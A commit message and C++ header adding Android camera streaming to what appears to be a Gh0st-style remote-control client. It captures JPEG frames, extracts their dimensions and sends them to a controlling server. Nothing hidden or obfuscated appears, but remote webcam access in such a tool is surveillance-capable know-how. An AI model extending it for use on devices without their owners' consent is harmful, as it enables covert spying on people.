Android 摄像头(COMMAND_WEBCAM)此前未实现。客户端用 Camera2 ImageReader 直接输出 JPEG(1280x720、8fps、按传感器方向摆正),第一帧到达时从 JPEG SOF 读出真实宽高再发 TOKEN_WEBCAM_BITMAPINFO(部分 HAL 会按方向物理旋转 导致宽高互换,以实际帧为准可避免服务端尺寸不符丢帧黑屏),之后每帧 [TOKEN_WEBCAM_DIB][isCompress=1][JPGD][JPEG]。 服务端视频对话框识别 JPGD FOURCC,用 libjpeg 直接解成 bottom-up BGR24; DrawDib 与「保存 AVI」两条路径都不用改,目标机也不需要安装 VFW 编解码器。 BITMAPINFO 的 biSizeImage 按 DWORD 对齐的 stride 计算。 注意:服务端不要引用 turbojpeg 的 tj* 符号——会拉进与 Debug 构建不兼容的 运行时,启动即 0xC0000005;解码统一走项目已在用的 jpeg_* API。 验证:模拟器虚拟相机出图,窗口标题 127.0.0.1 - Video 1280x720;关闭对话框 后 camera stopped,服务端稳定。 Model: deepseek-flash Co-Authored-By: Claude Code <noreply@anthropic.com>
177 lines
7.2 KiB
C++
177 lines
7.2 KiB
C++
// VideoHandlerAndroid.h - Android 摄像头管理(COMMAND_WEBCAM)
|
||
//
|
||
// 协议与 Windows 客户端一致(client/VideoManager.cpp、server/2015Remote/VideoDlg.cpp):
|
||
// [TOKEN_WEBCAM_BITMAPINFO][BITMAPINFO] 服务端据此打开视频窗口;
|
||
// 之后每帧 [TOKEN_WEBCAM_DIB][isCompress=1][fccHandler:4][帧数据]。
|
||
// 与 Windows 不同的是 BITMAPINFO 不在子连接建立时立即发,而是等第一帧到达、
|
||
// 从 JPEG 的 SOF 里读出真实宽高再发(HAL 物理旋转会让宽高互换)。
|
||
//
|
||
// 与 Windows 的区别只在编码:Windows 用 VFW 的 MJPEG/H.263 编解码器,Android 相机
|
||
// 原生输出 JPEG,fccHandler 用 WEBCAM_FOURCC_JPEG_DIRECT('JPGD'),服务端走
|
||
// turbojpeg 直解,不依赖目标机安装任何编解码器。
|
||
//
|
||
// 采集与编码在 Kotlin 侧(CameraCapture.kt,Camera2 → ImageReader(JPEG)),这里只
|
||
// 负责协议封装与 JPEG 广播;帧回调从 Java 线程进入(YamaBridge.nativeOnCameraJpeg)。
|
||
|
||
#pragma once
|
||
|
||
#include <atomic>
|
||
#include <cstring>
|
||
#include <mutex>
|
||
#include <vector>
|
||
|
||
#include "common/commands.h"
|
||
#include "common/logger.h"
|
||
#include "client/IOCPClient.h"
|
||
#include "ScreenHandler.h" // BmpInfoHeader(与 Windows BITMAPINFOHEADER 同布局)
|
||
|
||
#define LOGE_V(...) android_log_tag(ANDROID_LOG_ERROR, "YAMA_VIDEO", __VA_ARGS__)
|
||
|
||
// 由 main.cpp 实现(JNI → CameraCapture.start/stop)
|
||
bool StartJavaCamera(int* outWidth, int* outHeight);
|
||
void StopJavaCamera();
|
||
|
||
class AndroidVideoHandler : public IOCPManager
|
||
{
|
||
public:
|
||
explicit AndroidVideoHandler(IOCPClient* client) : m_client(client) {}
|
||
~AndroidVideoHandler() override { StopCapture(); }
|
||
|
||
// 打开相机并发送 BITMAPINFO。失败(无相机 / 无 CAMERA 权限)返回 false,
|
||
// 调用方应关掉子连接并给主控回一条消息。
|
||
bool StartCapture()
|
||
{
|
||
int w = 0, h = 0;
|
||
if (!StartJavaCamera(&w, &h) || w <= 0 || h <= 0) return false;
|
||
m_width = w;
|
||
m_height = h;
|
||
m_running.store(true, std::memory_order_release);
|
||
// BITMAPINFO 推迟到第一帧再发:HAL 可能把 JPEG 按 JPEG_ORIENTATION 物理
|
||
// 旋转(宽高互换),也可能只写 EXIF。以第一帧实际的 SOF 宽高为准,
|
||
// 服务端就不会因为尺寸对不上而丢帧黑屏。
|
||
LOGE_V("camera started %dx%d (bitmapinfo deferred to first frame)", w, h);
|
||
return true;
|
||
}
|
||
|
||
void StopCapture()
|
||
{
|
||
if (!m_running.exchange(false)) return;
|
||
StopJavaCamera();
|
||
}
|
||
|
||
void OnReceive(PBYTE szBuffer, ULONG ulLength) override
|
||
{
|
||
if (!szBuffer || ulLength == 0) return;
|
||
switch (szBuffer[0]) {
|
||
case COMMAND_NEXT:
|
||
// 服务端视频窗口已打开
|
||
m_dialogOpen.store(true, std::memory_order_relaxed);
|
||
LOGE_V("camera dialog opened");
|
||
break;
|
||
case COMMAND_WEBCAM_ENABLECOMPRESS:
|
||
case COMMAND_WEBCAM_DISABLECOMPRESS:
|
||
// JPEG 帧始终是压缩数据,两个开关都不需要改编码路径
|
||
break;
|
||
default:
|
||
LOGE_V("camera: unhandled cmd=%d", (int)szBuffer[0]);
|
||
break;
|
||
}
|
||
}
|
||
|
||
// Java 侧每帧 JPEG 进来时调用(CameraCapture 的 ImageReader 回调线程)
|
||
void SendJpeg(const uint8_t* data, size_t len)
|
||
{
|
||
IOCPClient* client = m_client;
|
||
if (!client || !m_running.load(std::memory_order_acquire) || !data || len == 0)
|
||
return;
|
||
|
||
// 第一帧:按实际 SOF 宽高发 BITMAPINFO(服务端收到它才会打开视频窗口),
|
||
// 这一帧本身也照发;之后的帧再等服务端回 COMMAND_NEXT。
|
||
if (!m_infoSent) {
|
||
int w = m_width, h = m_height;
|
||
if (JpegDimensions(data, len, &w, &h)) {
|
||
m_width = w;
|
||
m_height = h;
|
||
}
|
||
SendBitmapInfo();
|
||
m_infoSent = true;
|
||
LOGE_V("bitmapinfo sent %dx%d (jpeg %zu bytes)", m_width, m_height, len);
|
||
} else if (!m_dialogOpen.load(std::memory_order_relaxed)) {
|
||
return;
|
||
}
|
||
|
||
const size_t head = 1 + 1 + 4;
|
||
std::vector<uint8_t> pkt(head + len);
|
||
pkt[0] = (uint8_t)TOKEN_WEBCAM_DIB;
|
||
pkt[1] = 1; // isCompress
|
||
uint32_t fcc = WEBCAM_FOURCC_JPEG_DIRECT;
|
||
memcpy(&pkt[2], &fcc, 4);
|
||
memcpy(&pkt[head], data, len);
|
||
client->Send2Server((char*)pkt.data(), (ULONG)pkt.size());
|
||
}
|
||
|
||
int Width() const { return m_width; }
|
||
int Height() const { return m_height; }
|
||
|
||
private:
|
||
// 从 JPEG 的 SOF0/SOF2 段取真实宽高(跳过 APPn/EXIF 等段)。
|
||
// 用于兼容「HAL 按 JPEG_ORIENTATION 物理旋转导致宽高互换」的机型。
|
||
static bool JpegDimensions(const uint8_t* d, size_t n, int* w, int* h)
|
||
{
|
||
if (!d || n < 4 || d[0] != 0xFF || d[1] != 0xD8) return false;
|
||
size_t i = 2;
|
||
while (i + 9 < n) {
|
||
if (d[i] != 0xFF) { ++i; continue; }
|
||
const uint8_t m = d[i + 1];
|
||
if (m == 0xD8 || m == 0xD9 || (m >= 0xD0 && m <= 0xD7)) { i += 2; continue; }
|
||
if (i + 4 > n) return false;
|
||
const size_t segLen = ((size_t)d[i + 2] << 8) | d[i + 3];
|
||
if (segLen < 2 || i + 2 + segLen > n) return false;
|
||
const bool isSof =
|
||
(m >= 0xC0 && m <= 0xC3) || (m >= 0xC5 && m <= 0xC7) ||
|
||
(m >= 0xC9 && m <= 0xCB) || (m >= 0xCD && m <= 0xCF);
|
||
if (isSof) {
|
||
if (segLen < 7) return false;
|
||
const int hh = ((int)d[i + 5] << 8) | d[i + 6];
|
||
const int ww = ((int)d[i + 7] << 8) | d[i + 8];
|
||
if (ww <= 0 || hh <= 0) return false;
|
||
*w = ww;
|
||
*h = hh;
|
||
return true;
|
||
}
|
||
i += 2 + segLen;
|
||
}
|
||
return false;
|
||
}
|
||
|
||
// Linux/macOS 的 BmpInfoHeader 就是 Windows 的 BITMAPINFOHEADER(40 字节)。
|
||
// Windows 客户端发的是 sizeof(BITMAPINFO)=44 字节(含 1 个 bmiColors),
|
||
// 这里补 4 字节零保持一致,服务端按 biSizeImage 分配转码缓冲。
|
||
void SendBitmapInfo()
|
||
{
|
||
if (!m_client) return;
|
||
uint8_t buf[1 + sizeof(BmpInfoHeader) + 4] = { 0 };
|
||
buf[0] = (uint8_t)TOKEN_WEBCAM_BITMAPINFO;
|
||
|
||
BmpInfoHeader hdr{};
|
||
hdr.biSize = sizeof(BmpInfoHeader);
|
||
hdr.biWidth = m_width;
|
||
hdr.biHeight = m_height; // bottom-up,与 Windows 摄像头一致
|
||
hdr.biPlanes = 1;
|
||
hdr.biBitCount = 24; // 服务端解码成 BGR24
|
||
hdr.biCompression = 0; // BI_RGB:描述的是解码后的位图
|
||
// DIB 每行按 DWORD 对齐(DrawDib 与保存 AVI 都按这个 stride 解释)
|
||
const int stride = (m_width * 3 + 3) & ~3;
|
||
hdr.biSizeImage = (uint32_t)(stride * m_height);
|
||
memcpy(buf + 1, &hdr, sizeof(hdr));
|
||
m_client->Send2Server((char*)buf, (ULONG)sizeof(buf));
|
||
}
|
||
|
||
IOCPClient* m_client = nullptr;
|
||
std::atomic<bool> m_running{false};
|
||
std::atomic<bool> m_dialogOpen{false};
|
||
bool m_infoSent = false;
|
||
int m_width = 0;
|
||
int m_height = 0;
|
||
};
|